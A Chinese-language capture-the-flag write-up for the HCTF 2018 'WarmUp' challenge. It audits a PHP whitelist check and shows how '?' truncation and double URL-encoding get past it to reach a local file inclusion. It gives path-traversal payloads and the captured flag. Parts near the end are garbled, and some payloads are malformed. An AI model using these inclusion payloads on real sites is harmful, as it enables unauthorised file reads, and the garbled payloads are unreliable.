【buuctf】[HCTF 2018]WarmUp

题目：[HCTF 2018]WarmUp

根据提示进行代码审计（文件包含）

解题思路

访问链接

查看网页源代码 发现source.php

直接访问发现是index.php的源代码，里面还有一个hint.php

访问hint.php得到提示flag 在 ffffllllaaaagggg 里，很显然/index.php?file=hint.php 是一个文件包含，不知道flag的具体目录层次，因此构造时候需要通过/index.php?file=source.php/../../ffffllllaaaagggg依次通过…/…/构造尝试，去查看到底是几层的根目录
最后成功尝试

payload：index.php?file=source.php?../../../../../ffffllllaaaagggg

payload代码执行流程

第1个if返回false
第2个if返回false
$_page=source.php
第3个if返回true，退出checkFile函数，此时核心代码中已满足if(true&&true&&true)，即执行include函数
最后include(source.php?../../../../../../ffffllllaaaagggg)*/

flag{5ced1058-8ae5-437a-84eb-16b23cf0b8db}

进行代码审计

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        //传入了变量page，也就是我们刚刚传进来的file
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 这里定义了白名单
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            /*为了返回 true 两个条件必须满足
            	1 page存在 
            	2 page是字符串 ，
            	这里和外层的判断file 一致基本是再次判断了一遍*/

            if (in_array($page, $whitelist)) {
                return true;
            }
            /*in_array(search,array,type) 函数搜索数组中是否存在指定的值，
			白名单过滤，需要返回了ture
			所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php，
			这里是正常的访问，我们需要构造文件任意包含，所以这里传入的不满足条件，这里不是注意的点，往下继续看*/

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            /*这里mb_sustr 是个截断，返回0到mb_strpos之间的内容，而mb_strps 则是查找第一次出现的位置，所以基本可以理解为获取page 两个？之间的字符串，也就是获取file两个？之间的字符串，放到url中就是http://ip/?file=ddd?中的file=ddd*/

            if (in_array($_page, $whitelist)) {
                return true;
            }
            //这里和上面类似 查看_page 是否在白名单中

            $_page = urldecode($page);  // 这里发现对_page进行了一次decode解码
            $_page = mb_substr(			//获取两个？？之间的内容
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 这里是我们要绕过的点，从这里往上看 尝试构造
            if (in_array($_page, $whitelist)) {      //白名单
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
/*必须满足if条件，才能包含file，这里也可以猜到可能考的是文件包含： 
		1 REQUEST['file']不为空 
		2 REQUEST['file']是字符串 
		3 checkFile($_REQUEST['file']) 为ture，回到checkFile 函数分析如何返回true*/    

整体利用的漏洞就是代码最后的include函数，利用文件包含漏洞，也就是需要include ffffllllaaaagggg文件，而且需要使用…/来绕过

可以看到函数代码中有四个if语句
第一个if语句对变量进行检验，要求 page为字符串，否则返回false
第二个if语句判断$page是否存在于$whitelist数组中，存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中，截取$page中'?'前部分，存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中，存在则返回true
若以上四个if语句均未返回值，则返回false
有三个if语句可以返回true，第二个语句直接判断$page，不可用
第三个语句截取'?'前部分，由于?被后部分被解析为get方式提交的参数，也不可利用
第四个if语句中，先进行url解码再截取，因此我们可以将?经过两次url编码，在服务器端提取参数时解码一次，checkFile函数中解码一次，仍会解码为'?'，仍可通过第四个if语句校验。（'?'两次编码值为'%253f'）,构造url：
所以我们的payload 就是

file=source.php?file=source.php%/…/…/…/…/…/ffffllllaaaagggg

==为什么urldecode没有用到？==查看网上很多的wp用到了，但这也是多此一举了，最后目标其实是一样的，checkFile返回true就可以
分析： 例如用到urldecode的payload：
http://ip/index.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg

执行流程

第1个if返回false

第2个if返回false
page= source.php 第 3个if 返回 falseurldecode执行后， _page=source.php%3f../../../../../ffffllllaaaagggg 第3个if返回 false urldecode执行后， 
p
​	
 age=source.php第3个if返回falseurldecode执行后，_page=source.php?../…/…/…/…/ffffllllaaaagggg
执行mb_substr后$_page=source.php
return true
下面核心代码执行同理
最后include(source.php%253f…/…/…/…/…/ffffllllaaaagggg